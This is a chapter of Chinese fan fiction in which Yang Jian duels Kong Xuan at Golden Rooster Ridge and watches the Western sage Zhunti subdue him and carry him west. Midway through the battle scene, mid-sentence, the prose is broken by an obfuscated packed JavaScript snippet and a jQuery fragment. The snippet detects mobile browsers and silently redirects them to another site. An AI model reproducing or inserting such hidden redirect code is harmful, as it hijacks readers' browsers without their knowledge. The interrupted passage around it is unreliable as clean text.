102.东征血路竭心丹(2)
作品:《(宝莲同人)莲灯焚尘》 杨戬押着粮草到达金鸡岭下时,已是第三日的黄昏。腰间的伤处每逢颠簸便如针刺,那强行睁开过的天眼虽已闭合,却时时隐隐作痛,像有什么东西在眼眶深处一跳一跳地挣着,要破出来。他不敢运功压制,只得以□□玄功那点微末的自行修复之力,一点一点地温养着。
粮草送到,交割完毕,本该回后营歇息。他却只在帐中坐了片刻,便起身往前营去了。
他要看看,这阻住周军去路的,究竟是什么人。
金鸡岭的地势,比他想象的险峻得多。两山夹峙,中间一条官道蜿蜒而上,道旁林木茂密,遮天蔽日。周军大营扎在岭南五里处,旌旗连绵,营帐层叠,却静得出奇——没有操练声,没有喧哗声,只有偶尔传来的战马喷鼻声和巡夜士卒的脚步声,在这沉沉的暮色中,透着一种说不出的压抑。
杨戬走到中军大帐附近时,正遇上武吉从帐中出来。那年轻将领一脸疲惫,眉宇间带着焦躁,见了杨戬,先是一怔,随即快步迎上来.“杨师兄!”他压低声音,却掩不住那股急切,“你来得正好——丞相正在帐中发愁呢。”
杨戬微微颔首:“听说前军受阻,是什么来路?”
武吉叹了口气,往帐那边努了努嘴:“金鸡岭守将,叫孔宣,是三山关总兵,奉旨来阻我军的。此人……厉害得邪乎。”
“邪乎?”
“洪将军、南宫将军,都是一合被擒。”武吉的声音压得更低了,“昨日哪吒师兄出战,也被一道五色神光收去了。雷震子去救,同样被收。今日燃灯老师亲自出马——你猜怎么着?”
杨戬心头一凛。
燃灯道人,那是阐教副教主,准圣之尊。若连他也……
武吉苦笑:“也被收了。羽翼仙去助阵,被人家打下尘埃,摔得鼻青脸肿。丞相正与几位老师商议对策,谁也不认得那五色神光是什么来路。杨师兄,你见多识广,可听说过?”
“我去看看。”杨戬跨步向前,却被武吉一把拉住:“杨师兄!你伤还没好,别——”
“看看而已。”杨戬轻轻挣开他的手,声音平静,“不交手。”
他绕过中军大帐,往前营走去。
暮色渐深,天边最后一抹霞光正从山峦间褪去,将金鸡岭的轮廓勾勒成一道沉沉的剪影。杨戬走到营栅边,寻了个僻静处,倚着一根木桩,望着远处的岭头。
那里灯火点点,是孔宣的大营。
他就这样望着,望了很久。
夜风吹来,带着山间特有的草木清气,也带着一丝若有若无的……他说不清是什么。像是某种极其古老的、极其纯粹的东西,从那个方向隐隐传来,拂过他的脸颊,渗入他的四肢百骸。那感觉太过玄妙,他闭上眼,细细分辨,却什么也分辨不出,只觉得心头那团乱麻般的思绪,竟在这夜风中,慢慢静了下来。
他正凝神细思,忽听得身后传来脚步声。回头一看,是姜子牙。
白发老人披着一件半旧的斗篷,步履有些蹒跚,走到他身边,也不说话,只是并肩站着,望着远处的岭头。良久,才开口,声音低哑:“来了多久了?”
“刚交割完粮草。”杨戬道,“听说前军受阻,过来看看。”
姜子牙点了点头,没有说话。
杨戬侧头看他,借着营中透出的微光,能看见师叔脸上的疲惫。那疲惫不是一日两日积下的,是这些年来,日日夜夜、层层叠叠的疲惫。他心下微微一酸,想说些什么,却不知从何说起。
良久,姜子牙开口,声音很轻:“明日,燃灯老师还要出战。”
杨戬一怔:“今日不是败了?”
“败了,也要再战。”姜子牙的目光望着远处,不知是在看孔宣的大营,还是在看别的什么,“燃灯老师说,他那定海珠,是被神光收去的,不是被打败的。若能寻出神光的破绽,或许能破。”
杨戬默然。
姜子牙也沉默着。过了片刻,忽然道:“你方才站在这儿,在想什么?”
杨戬沉吟了一下,如实答道:“弟子在想,那五色神光,究竟是什么来路。弟子虽不曾见,却能隐隐感应到一丝气息——很纯粹,很古老,像是……”他顿了顿,斟酌着措辞:“像是没有被任何东西染过的、原原本本的道。”
姜子牙转过头来,望着他,道:“明日燃灯老师出战,你想去看看吗?”姜子牙苍老的眼中,带着几分复杂的情绪:“你伤还没好,本不该去。但我想,你或许该看看。”
杨戬沉默片刻,点了点头:“弟子去看看。”
----------------
晓雾未晞,金鸡岭头云垂四野,朔风卷地,刮得两军旌旗猎猎作响,铁甲铿锵之声与战马嘶鸣交织,凝作一股肃杀之气,直上云霄。
杨戬早立阵后,一身灰布小校甲胄,玄色抹额紧压眉际,严严实实遮去那道竖痕。他混在押粮士卒之中,身形挺拔如孤松,虽不引人注目,一双澄明眼眸却如秋水映刃,将阵前动静尽收眼底。身旁士卒窃窃私语,皆是忧惧燃灯道人昨日折戟之事,他却凝神不语,只觉风中隐隐浮动着一丝异样的梵光。
忽闻周军阵中鼓声大作,旗门开处,一声鹿鸣清越,燃灯道人骑鹿而出。“孔宣!” 燃灯声如洪钟,震荡四野,“昨日贫道失察,被你收去定海珠、金钵盂。今日特来较技,敢与贫道一战否?”
话音未落,商军阵中已起龙吟般的马嘶。旗门大开之际,一将纵马而出,红鬃马踏地扬尘,蹄声如雷,转瞬间便至阵前,傲立两军之间,如昆仑玉柱撑天,自带一股凛然正气。
杨戬目光骤凝,只一眼便再难移开。
那人身长八尺有余,紫金冠束起青丝,黄金甲映日生辉,外罩大红战袍,在朔风中猎猎翻飞,宛如烈火燎原。面如冠玉,目若朗星,眉梢眼角带着与生俱来的傲气,却无半分阴鸷诡谲,反倒光明磊落,如烈日当空,不容置喙。更让杨戬心神震荡的,是他周身散发出的气息 —— 那是天地初开时的第一缕清阳,纯粹得令人心折。
杨戬闭目凝神,那道清气扑面而来,竟如温玉熨帖,腰间黄河阵旧伤隐隐发烫,天目闭合处的隐痛也悄然消解。他猛地睁眼,师尊玉鼎真人的话语犹在耳畔:“修道者千年道行易求,‘本来’二字难得。守得住本心纯粹,纵根行浅薄亦能直抵大道;失了本来,纵道法通天,终是他人傀儡。”
燃灯见他出阵,不待多言,掌心陡然射出一道金光,如利剑出鞘,直刺孔宣面门!这 “燃灯金光” 乃他千年苦修所成,能照破虚妄、度化人心,金光过处,空气割裂作响,连远在阵后的杨戬都觉灵台震荡,似有无形之力叩击心门。
周军阵中士卒低呼,皆以为此击必中。
却见孔宣端坐马上,纹丝不动,只抬袖轻轻一挥。
一道青光自他背后冲天而起,如青龙出海、长虹贯日,不带半分拖泥带水,径直撞向金光。两光相交,未闻惊天巨响,只一声清越如玉石相击的 “铮” 鸣,燃灯那道霸道金光,竟如冰雪遇骄阳,瞬间消融无踪,连一丝余韵都未留下。
燃灯面色微变,掌心连挥,三道金光接踵而至:一道烈如骄阳,一道沉如泰山,一道疾如闪电,三道金光交织成网,铺天盖地罩向孔宣,欲将他困死光中。
孔宣朗笑一声,笑声洒脱不羁,不带半分惧色。他抬手间,赤、黄、白三色神光接连涌出,如三道彩练当空舞,“铮”“铮”“铮” 三声脆响,三道金光便被神光刷得干干净净,仿佛从未出现过。
燃灯脸色愈发凝重,咬了咬牙,探袖取出一物,迎风一晃,大喝一声:“起!” 那物瞬间化作丈六金幢,金光璀璨夺目,幢身之上梵唱不绝于耳,带着镇压寰宇的气势,当头便向孔宣压下 —— 此乃他压箱底的至宝,传闻能收尽天下妖邪、度化世间众生。
孔宣眼神一凛,傲气更盛,非但不避,反倒纵马前踏半步,大喝一声:“此等小术,也敢献丑!” 背后一道黑光冲天而起,如墨染苍穹,瞬间裹住金幢。只听 “铮” 的一声锐响,金幢金光骤黯,佛音断绝,竟被黑光一卷,凭空消失,连半点痕迹都未留下。
燃灯骑在鹿上,怔怔望着孔宣,脸上竟无败者的羞愤,反倒透着一丝杨戬读不懂的释然,似了却一桩心事。
孔宣勒住红鬃马,目光直视燃灯,语气坦荡如砥,不带半分嘲讽:“燃灯,你技止于此,非我敌手。速速回去换能者来,莫要再浪费时辰!”
言罢,他再不看燃灯一眼,拨转马头,红鬃马四蹄翻飞,径直回了商军阵中。大红战袍在晨光中划出一道洒脱弧线。
杨戬心中划过一丝诡异之感,不由得细细回想方才战况:燃灯的金光、金幢皆是压箱底的本领,出手不可谓不尽力,却偏偏缺了生死相搏的狠厉——这分明是一场精心编排的试探!
杨戬心中泛起寒意,一个念头如冰锥刺骨 ——西方教要的,究竟是什么?是修道者的魂魄?是天地道则的碎片?或许,都不是。他们要的,是活着的,完整的,有着纯粹根行,足以被 “度化” 的 —— 人。
像孔宣这样的人。
----------------
日内,周军折损七将。黄天化的火龙标、崇黑虎的铁嘴神鹰,乃至闻聘三将的联攻,尽被孔宣五色神光一卷而收,无一人能脱。金鸡岭下免战牌高挂,营中人心惶惶,老卒谈及 “孔宣” 二字,皆面露惧色。姜子牙日与金仙议事,燃灯闭门参详神光破绽,终究束手;哪吒、雷震子被擒,生死未卜,满营竟无一人敢再出阵。
是夜,帅帐孤灯如豆。杨戬一身小校甲胄,玄色抹额紧勒眉际,遮去天目伤痕,面色苍白却脊背如松,立在案前:“师叔,弟子请战。”
姜子牙握简册的手微顿,目光从跳动的灯火移到他身上,眸中满是忧色:“你伤未愈,天眼未复,神光无物不刷,此去九死一生。”
“弟子非去破阵,是去试阵。” 杨戬语声沉静,眸子如深潭无波,“弟子要见神光来路,要知孔宣所求,更要亲探此人究竟。”
姜子牙默然良久。能担大事者,必担至重之苦,行至险之路。他终是轻叹:“去吧。活着回来。”
杨戬躬身一礼,转身欲走,帐后忽传来姜子牙的声音:“记住那日你感应到的,那股纯粹气息。”
杨戬脚步一顿,掀帘步入夜色。帐外夜风呼啸,金鸡岭的灯火如巨兽蛰伏,在黑暗中静静凝视着周营。
翌日清晨,免战牌轰然落地。杨戬披轻甲,跨白马,弃了重逾千斤的三尖两刃刀,只取了一杆军中寻常铁枪 —— 枪身沉实,枪尖寒利,虽非神兵,却合他此刻心境:非为拼命,亦不示弱。
单骑出阵,白马踏尘,杨戬身影孤绝。周军将士窃窃私语,皆为他捏一把汗,他却充耳不闻,策马缓行。
忽闻龙吟般马嘶,旗门大开,孔宣跃马而出。紫金冠束青丝,黄金甲映朝阳,大红战袍猎猎翻飞,手中长枪横鞍,朗目扫来,见是杨戬,眉梢微挑,竟一眼认出:“那日阵后观阵的小校,倒是有几分胆量。”
杨戬勒马抱拳,声朗如钟:“玉泉山金霞洞玉鼎真人门下,杨戬,见过孔将军。”
孔宣目光在他抹额、苍白面容上一扫,最后落定在那杆铁枪上,唇角微扬:“倒是换了件趁手的。” 他顿了顿,目光凝在杨戬周身,语气笃定,“你道基受损,经脉滞涩,本帅若用神光收你,胜之不武。”
杨戬一怔,未及言语,便见孔宣将手中长枪一挺,枪尖直指长空:“今日只与你比枪法。你若能在本帅枪下走过三十合,便算你赢。”杨戬亦不卑不亢,拱手承情道:“多谢将军成全!”
“来战!”
一声落,两马齐奔,红鬃马踏地如雷,白马追风似电,二骑交冲之际,双枪猝然相撞!
“铛 ——”
金铁交鸣之声裂石穿云,枪尖相触处火星迸射丈余,一股狂猛气浪向四周炸开,阵前尘土飞扬,竟将地上碎石卷得簌簌乱滚。周军将士齐齐屏息,连大气也不敢喘,只望见两道身影在烟尘中乍分乍合,枪影如织,寒芒耀目。
孔宣的枪法,是天地初开的浑然纯粹,大开大合,堂堂正正,无半分阴诡巧诈。一杆长枪在他手中,便如臂使指,每一招刺出,皆带着千钧之力,枪风呼啸,竟能将空气刮得猎猎作响,可那枪尖所指,看似是杨戬心口、咽喉等要害,实则总在毫厘之间留着分寸,攻势虽猛,却藏着一股若有若无的引导之劲。红鬃马腾挪辗转,他身随马动,枪随身走,每一次枪杆相触,都并非硬刚死拼,而是带着一股沉厚巧劲,直震杨戬经脉。
杨戬的枪法,却是玉鼎真人亲传的绵密坚韧,得□□玄功打底,枪招圆转如意,守御之际如铜墙铁壁。只是道基受损,经脉滞涩,郁气缠心,运功时腰间旧伤阵阵抽痛,真气流转总在丹田处淤塞难行。他咬紧牙关,舌尖抵着上颚,铁枪横挡竖挑,将孔宣狂风暴雨般的攻势一一接下,虎口被震得发麻,指节早已泛白,臂弯酸麻欲坠,却半步不退,铁枪舞出一片密不透风的寒影,枪尖点地,竟在地上刺出点点深坑。
十合过,孔宣枪法未缓,枪劲反倒愈沉,眼中却掠过一丝讶异 —— 这小子经脉滞涩,真气不畅,却偏有一股倔劲,被逼到绝境,竟也能硬生生凝气守御,不肯有半分松懈。他腕底微加巧劲,长枪一旋,枪杆斜撞杨戬枪身,那股劲并非摧枯拉朽,反倒如重锤轻敲,直震杨戬丹田,逼得他下意识运转玄功相抗,淤塞的真气竟隐隐动了一动。
杨戬心头微诧,只觉方才那一下碰撞,腰间痛楚虽烈,丹田处却似有什么东西松了一丝,他不及细想,孔宣的枪已再度攻至,枪尖如流星赶月,直刺面门。
二十合过,杨戬的衣甲早已被汗水浸透,额上冷汗混着鬓角的血水顺着下颌滴落,腰侧旧伤被枪劲反复震荡,衣料下已隐隐渗血,可他的枪招却不见散乱,反倒愈打愈稳。只因孔宣的每一次枪杆相触,都在逼他调动全身真气,那些平日里淤塞难行的经脉,在这狂猛的外力催动下,竟如被重石砸开的冰渠,真气开始缓缓流转,缠心的郁气,也在这全力拼杀中,散了些许。
他渐渐觉出不对,孔宣的枪法看似凌厉,却处处留手,那枪劲的落点,竟全是他经脉滞涩之处,似攻实引,似打实导。
二十五合,孔宣忽大喝一声,长枪横扫千军,枪杆如铁棍横挥,势如泰山压顶,直扫杨戬腰侧。杨戬避无可避,只得横枪硬挡,双枪再度相撞,“铛” 的一声巨响,火星四溅,杨戬只觉一股沉厚力道顺着枪杆直灌而下,手臂剧颤,虎口竟被震裂,鲜血顺着枪杆滴落,铁枪险些脱手。可就在这剧痛之际,他丹田处那股淤塞的真气,竟被这股劲逼得猛然冲开,一股热流顺着经脉直窜四肢百骸,腰间的抽痛,竟奇异地轻了几分。
“好小子,有韧性!” 孔宣朗喝一声,声震四野,枪法陡变,快如流星掣电,枪尖忽沉忽提,如灵蛇吐信,从侧面疾刺杨戬肋下,这一招快到极致,却依旧留着半分巧劲。
杨戬不及转身,下意识腰腹一拧,借着玄功巧劲,枪杆斜撩,手腕急转,堪堪将孔宣的枪尖带偏三寸。枪尖擦着他的衣甲划过,带起一缕血线,可这一拧一转之间,他肋下淤塞的经脉竟被真气冲开,缠心的郁气又散了大半,整个人竟似轻了一截。
他眼中闪过一丝明悟,原来孔宣竟在比斗中,暗中引导他运转玄功,打散结郁!
二十八合,杨戬心头豁然,郁气一松,竟弃守为攻!他将全身仅存的真气尽数凝于枪尖,铁枪直刺孔宣咽喉,枪势凌厉,角度刁钻,竟带着几分置之死地而后生的狠劲,这一枪,没了往日的滞涩,多了几分初修道时的纯粹悍勇 —— 那是被孔宣逼出的,藏在郁气之下的本心。
孔宣眼中陡然闪过浓烈激赏,唇角微扬,竟不闪不避,只侧身轻旋,红鬃马人立而起,堪堪避过这一枪。他非但不还击,反倒纵马旋开半丈,留出让杨戬发劲的余地,任由那股悍勇之气尽数宣泄。
二十九合,三十合!
杨戬借势前冲,铁枪连环刺出,一枪快过一枪,真气在经脉中畅行无阻,往日的淤塞滞涩尽数消散,缠心的郁气在这全力拼杀中,竟被涤荡得一干二净。最后一□□出,他腰腹发力,真气直冲枪尖,枪尖破空,竟带起一声清啸。
待这一□□空,杨戬勒马收枪,稳稳站定,胸口微微起伏,却再无往日的窒闷,腰间的痛楚虽在,却已非撕心裂肺,反倒有一股热流在经脉中缓缓流转,整个人神清气爽,心口清明,多日来的压抑、迷茫、愤懑,尽数随方才那一场拼杀烟消云散。这就是——天地纯粹?
孔宣也勒马收枪,大红战袍在晨风中猎猎翻飞,朗目望着他,微微点头,声音坦荡,传遍阵前:“三十合已过,你赢了。”他语气中带着几分赞许,也带着几分提点:“玉鼎真人果然收了个好徒弟,根骨绝佳,更有一身倔劲,难得。只是你记住,□□玄功重九转,九转重自然,若被郁气缠心,经脉滞涩,纵有通天根骨,也难登大道。”他顿了顿,目光扫过杨戬,字字铿锵:“修道先修心,本心不滞,真气方通。今日这一场比斗,是比枪,也是让你记着,何为先天本心,何为真气自然。”
言罢,孔宣纵马回转,与杨戬错身而过之时,杨戬轻轻唤住孔宣,语声急切:“西方教早已觊觎将军,将军需早做防备!”
孔宣闻言,忽然仰头大笑,笑声洪亮畅快,震得林中飞鸟惊起,在山谷间久久回荡。他朗目扫向西方,带着睥睨天地的自信:“本帅乃天地间第一只孔雀,生于混沌之时,自开一派,天地任我行。任他是谁,要来便来,要战便战!”
杨戬望着他,心中既敬佩又担忧。这份洒脱自在,竟是他此生从未有过的奢望。
孔宣似看出他的心思,抬手拍了拍他的肩头,语气带着几分长辈的怜爱:“小子,你心事太重,根骨再好,也会被郁气磨折。该来的躲不掉,不该来的求不来。记住,修道先修心,本心不失,方得始终。” 言罢,一夹马腹,红鬃马四蹄翻腾,踏起一路烟尘,转瞬间便消失在金鸡岭的营寨深处。唯有那面绣着斗大 “孔” 字的大旗,在晨风中猎猎飘扬,傲立天地,坦荡无畏。
-----------
孔宣归营后,金鸡岭头风平浪静三日。周营的免战牌依旧高挂,姜子牙日日与金仙聚于帅帐,议事之声低密,却始终无半分破局之法。杨戬自那日归营,便闭门静守,白日温养经脉 —— 孔宣枪劲引动的真气仍在体内流转,淤塞渐通,旧伤稍愈;夜里却常静坐帐中,望着帐顶的毡布出神,那日孔宣那句 “随他谁来” 的坦荡,总在耳畔回响,敬佩之余,更有一层沉甸甸的担忧,如蛛网缠心,挥之不去。
他怕那股天地初开的纯粹傲气,终成西方教眼中最诱人的饵。
第三日傍晚,帐外忽起一阵骚动,马蹄声、呼喊声交织,打破了营中的沉寂。杨戬猛地掀开帐帘,只见周军士卒皆往中军大帐涌去,脸上满是惊异与急切。他拉住一个奔过的士卒,指尖微沉:“何事喧哗?”
那士卒喘着气,话音都带着颤:“杨师兄!营外来了个西方道人,说能破孔宣的神光,要见丞相!”
杨戬心头猛地一跳,一股不祥的预感直窜天灵,他松开士卒,足尖点地,快步朝中军大帐掠去。
帐外已围了数层将士,杨戬挤至人群后,透过帐帘缝隙望入,只见帐中立着一道人,面黄身瘦,形貌清奇,双花髻挽发,淡青道袍曳地,手中只持一根青翠树枝,枝桠间竟有七色光华隐隐流转,触目便觉一股陌生的梵意。姜子牙端坐案后,神色恭敬中藏着疑惑;而燃灯道人立在一侧,见了那道人,眼中闪过一丝极快的异色,随即垂眸敛目,如老僧入定,一言不发。
那道人朝姜子牙稽首,声音平和,却字字清晰:“贫道自西方而来,闻姜元帅兵阻金鸡岭,特来相助。”
姜子牙起身还礼:“不知道长尊号?”
道人唇角微扬,吐出二字:“准提。”
这两个字如惊雷炸响,帐中瞬间死寂。杨戬只觉脑中轰然一震,黄河阵中那幕被强行刻入心底的画面骤然浮现 —— 九天之上,端坐莲台的身影,悲悯的目光下藏着冰冷的算计!他下意识往前挤了半步,目光死死锁着准提,指尖因用力而泛白。
准提似有所觉,微微侧头,目光越过人群,落在杨戬脸上。那目光平淡如水,却如利刃般穿透衣甲,直抵肺腑,仿佛将他从里到外看了个通透,连心底对孔宣的惦念、对西方教的疑惧,都无所遁形。杨戬浑身一凛,如坠冰窟,却强撑着脊背挺直,半步未退,只觉那道目光扫过之处,皮肤都似生了一层寒意。
准提收回目光,复对姜子牙道:“孔宣与吾西方大有缘分,贫道此来,便是度他归西,得成正果。姜元帅宽心,贫道出营一会,定叫他拱手而降。”
姜子牙沉吟道:“道长有所不知,孔宣五色神光无物不刷,燃灯老师亦非其敌,道长还需谨慎。”
“元帅放心。” 准提笑了笑,转向燃灯,“道友以为如何?”
燃灯缓缓抬眼,与准提对视一瞬,随即垂首,声音恭谨:“道兄慈悲。若能收得此獠,实乃三界之幸。”
“此獠” 二字入耳,杨戬心头骤然一寒。他握紧拳头,指甲深深嵌进掌心,钻心的痛却压不住心底的翻涌。他想冲进去,质问燃灯的伪善,想告诉姜子牙这是一场早已布好的局,想拦住那个道貌岸然的准提 —— 可他只是个三代弟子,一个伤未全愈的督粮官,在这群金仙、元帅面前,他的声音轻如尘埃。他只能站在人群后,眼睁睁看着准提辞别姜子牙,手持七宝妙树,缓步出营,往金鸡岭而去。
杨戬混在人群中,远远跟着,脚步沉重,他要亲眼看看,那些人口中的 “度化”,究竟是何等模样。
暮色四合,金鸡岭前,两军再度对圆。周营这边,唯有准提一人孤身而立,七宝妙树在暮色中泛着淡淡的七色光华,竟压过了西天的晚霞。
商军旗门大开,红鬃马嘶鸣如龙吟,孔宣跃马而出。紫金冠、黄金甲、大红袍,依旧是那副傲立天地的模样,手中长枪横鞍,目光扫过准提,眼中闪过一丝了然,随即勾起一抹冷笑:“果然是你。”
准提稽首为礼:“孔将军,贫道有礼了。”
孔宣不曾下马,朗目冷睨着他,声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373504|193483||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
音如金石相击:“西方来的,找本帅何事?”
“贫道观将军根行深重,与西方有缘,特来度将军归西,证无上菩提。”
孔宣闻言,忽然仰头大笑,笑声洪亮畅快。笑罢,他眼中寒光乍起,长枪微抬:“度本帅归西?就凭你?”
准提依旧含笑,不愠不火:“将军若不信,不妨一试。”
话音未落,孔宣抬手一挥,五色神光自他背后冲天而起!青、黄、赤、黑、白五色流转,光华璀璨,瞬间照亮半边天际,比之那日与杨戬比斗时,威势何止强了数倍,阵前尘土被神光卷动,竟形成一道五色龙卷,直扑准提。
周军将士皆惊呼后退,杨戬却死死站着,目光紧锁那道红色身影,心提到了嗓子眼。
准提不慌不忙,缓缓举起七宝妙树,轻轻一挥。七色光华自枝桠间涌出,如一道彩练横空,与五色神光轰然相撞。没有惊天动地的轰鸣,只有一声极轻的 “嗤”,如滚油遇水,两光相接处,细碎的火星四散飞溅,空气被灼得扭曲,连光线都似生了褶皱。
杨戬目眩神驰,他从未见过这般层次的斗法 —— 这不是仙人的比拼,而是两种截然不同的道的碰撞,一边是东方天地孕育的纯粹本源,一边是西方梵意滋养的渡化之术,在金鸡岭前,正面交锋。
孔宣见神光竟被挡下,眉头微蹙,长啸一声,五色神光陡然大盛,化作五条巨龙,张牙舞爪,携毁天灭地之势朝准提扑去。准提依旧不动,只是将七宝妙树轻轻一转,七色光华旋成一道光幕,如铜墙铁壁挡在身前。巨龙撞在光幕上,发出震天怒吼,龙鳞碎裂,神光激荡,却始终寸步难进。
孔宣面色微变,收了长枪,双手齐挥,五色神光愈发猛烈,五条巨龙竟在半空融为一体,化作一道混沌色的光芒,暗沉却带着毁天灭地的威力,当头朝准提罩下 —— 那是五色神光的终极形态,是他万年道行的极致凝聚。
准提眼中终于闪过一丝凝重,低诵一声佛号,将七宝妙树往空中一抛。那树枝迎风便长,瞬间化作一棵参天大树,七色光华如瀑布般从树冠垂落,与混沌之光撞在一起。
“轰 ——”
一声巨响,震得天地颤抖,山摇地动。杨戬只觉双耳嗡嗡作响,眼前发黑,气血翻涌,险些栽倒,他强撑着抬头,只见混沌之光与七色光华在半空僵持,彼此撕扯,空间竟被震出丝丝裂缝,裂缝深处,点点金光闪烁,似有无数目光在暗中窥视。
孔宣额上渗出冷汗,面色凝重如铁。他活了万万年,纵横天地,从未遇过这般对手,他的混沌之光,竟被这西方法宝死死压制!准提却依旧神色从容,望着孔宣,眼中满是悲悯,仿佛在看一个执迷不悟的孩童。
“孔将军,你的神通虽强,却已到尽头。” 准提的声音透过光浪传来,清晰入耳,“贫道这七宝妙树,乃先天灵根,与你那五色神光本是同源,你以神光攻我,岂非以子之矛,攻子之盾?”
孔宣厉声冷笑:“废话少说!有本事,便破了本帅的神光!”
“将军执迷不悟,贫道只好得罪了。”
准提话音落,竟抬脚朝前一步,迎着那翻涌的混沌之光,直直走向孔宣!
杨戬看得心惊肉跳,那混沌之光的威力,他虽未亲尝,却能感应到其恐怖,准提这般闯进去,岂不是自寻死路?可下一刻,他便僵在原地 —— 准提走入神光之中,那毁天灭地的混沌之光竟如潮水般自动分开,让出一条通路,他一步一步,走得从容不迫,仿佛脚下不是神光,只是一层薄烟。
孔宣的脸色瞬间惨白,眼中满是难以置信。他疯狂催动真气,神光翻涌如潮,却始终无法伤到准提分毫,那道淡青的身影,如逆流而上的鱼,在光中穿行,转眼间便到了红鬃马前。
“你 ——” 孔宣只来得及吐出一个字,准提已抬手,一掌轻飘飘按在他胸口。
那一掌看似毫无力道,孔宣却如遭雷击,浑身剧颤,背后的五色神光轰然溃散,化作漫天光点,纷纷扬扬落下,如一场破碎的彩雨。他喉头一甜,一口鲜血喷溅而出,染红了身前的黄金甲,从马上直直栽落,重重摔在地上。
“孔宣!” 杨戬失声低唤,心头如被重锤狠狠攥住,却只能眼睁睁看着那道红色身影伏在地上,挣扎着想要站起,却终究只是撑起了半截身子。
准提走到孔宣面前,俯身望着他,眼中悲悯更甚:“孔将军,你可服了?”
孔宣趴在地上,艰难地抬起头,望着准提。那双素来朗亮如星的眼中,翻涌着不甘、愤怒、迷茫,还有一丝说不清道不明的惘然。他张了张嘴,似有千言万语,却最终只化作一声低沉的喘息,什么也说不出。
准提叹了口气:“将军执念太重,不肯随贫道去。也罢,贫道便让你亲眼看看,西方极乐世界,是何等模样。”
他抬手一挥,一道光幕在身前展开。杨戬望过去,只见光幕之中,七宝池澄澈,八功德水漾波,金绳界道,珠网交辉,无数身影端坐莲台之上,宝相庄严,面带微笑,似沉浸在无边的喜悦之中。可看着看着,杨戬的心头却涌起一股刺骨的寒意,那寒意从脚底升起,瞬间蔓延全身。
那些身影,面目模糊,神态雷同,连微笑的弧度都分毫不差,被安放在莲台之上,日复一日,年复一年,永远保持着同样的姿势,同样的神情,没有属于自己的 “本来面目”—— 他们只是 “西方极乐” 的点缀,是 “正果” 的注脚。
孔宣望着那光幕,眼中光芒闪烁,无人知晓他看到了什么,想到了什么。只是过了许久,他忽然低下头,不再看那极乐虚影,也不再看准提,只是望着金鸡岭的方向 —— 那是他守了不知多久的关,是他以为战事结束后,便可归去的地方。
准提等了许久,终于开口:“孔将军,可想好了?”
孔宣没有回答。他只是慢慢撑着地面,站起身,转过身,背对着金鸡岭,面对着准提。下一刻,他周身光芒大作,五色流转,化作本相 —— 一只巨大的孔雀,羽毛绚烂,尾羽如扇,昂首挺立在金鸡岭前,遮天蔽日。
准提微微一笑,纵身跃上孔雀脊背,盘膝而坐。
孔雀浑身剧烈一颤,似想挣扎,似想振翅高飞,却终究僵住了,只是缓缓迈开步子,一步一步,朝周营这边走来。
杨戬望着这一幕,只觉得五脏六腑都似被揉碎,痛得无以复加。
这是孔宣啊,是那日阵前与他枪来枪往,以枪劲为引帮他打散结郁的孔宣;是收尽周营猛将却一个不杀,守关而非杀人的孔宣;是说 “随他谁来”,傲立天地的孔宣。此刻,他却被一个西方道人骑在背上,一步一步,走向他曾经誓死阻拦的敌人。
孔雀行至周营前,准提依旧端坐其上,朝姜子牙稽首,笑容谦和:“贫道今日收得此有缘人,皆赖武王洪福,姜元帅威严。”
姜子牙连忙还礼:“道长言重,若非道长大显神通,我等仍困于此地。”
燃灯道人上前一步,稽首道:“道兄慈悲。”
准提看了他一眼,微微点头,语气平淡:“道友辛苦。”
这两句客套,落在旁人耳中,不过是同道间的寒暄,可杨戬听来,却震得他耳膜生疼。“道兄”“道友”,那是早已相识的默契;这一切,都是他们写好的剧本,而孔宣,只是那个被推上舞台的主角,一个注定被收割的 “有缘人”。
杨戬想起了穿云关的梵光,十绝阵的异气,黄河阵的金纹,那些若隐若现的西方气息,原来从一开始,他们就在,从未离开。他们以 “慈悲” 为幌,以 “度化” 为饵,收割着东方天地孕育的纯粹根骨,磨去着东方大道的独特棱角。
孔雀背上,孔宣忽然回过头。他望了一眼金鸡岭,望了一眼那面还在风中猎猎飘扬的 “孔” 字大旗,望了一眼那片他守了万万年的土地。然后,他的目光越过层层人群,落在杨戬身上。
那一眼,只有一瞬,却如刻刀般,深深印在杨戬心底。
杨戬看见了,那眼中有不甘 —— 他是天地间第一只孔雀,本当纵横天地,岂容他人骑乘;有释然 —— 活了万万年,历遍风浪,或许这也是他该历的劫数;有迷茫 —— 此去西方,莲台之上,是否真有他想要的道;还有一丝杨戬无比熟悉的情绪,那是黄河阵后,他自伤道基、天眼闭合,照见镜中自己时,那份深入骨髓的 —— 身不由己的悲凉。
杨戬只能站在那里,看着准提催动祥云,孔雀振翅,载着他往西方飞去。那祥云越升越高,越走越远,最终化作一个模糊的小点,消失在西天的天际尽头,只留下漫天散落的五色光点,在暮色中缓缓坠落,如泪。
金鸡岭上,那面 “孔” 字大旗,还在风中猎猎飘扬,只是旗下列阵的商军,早已作鸟兽散,那面旗,成了无人守护的孤影。
周营之中,忽然爆发出震天的欢呼。将士们奔走相告,声浪掀天:“孔宣被收走了!”“金鸡岭破了!”“我们可以东进了!” 那欢呼雀跃,那劫后余生的喜悦,在杨戬听来,却刺耳无比,每一声欢呼,都似一把尖刀,剜着他的心。
他慢慢转身,往自己的营帐走去,脚步沉重,如灌了铅。
走出数步,身后传来哪吒的呼喊:“二哥!二哥!你看!”
杨戬回头,只见金鸡岭方向,涌出许多身影,踉踉跄跄朝周营走来。为首的是洪锦、南宫适,后面跟着哪吒的风火轮、雷震子的风雷翅,黄天化、崇黑虎,还有那些被孔宣收去的周将,一个不少,全都回来了。他们身上没有伤,脸上没有惧,只有一丝茫然,仿佛做了一场长长的梦,刚刚醒来。
哪吒快步跑过来,一把拉住杨戬的手臂,语气激动:“二哥!是孔宣放了我们!他说战事已了,让我们回来……”
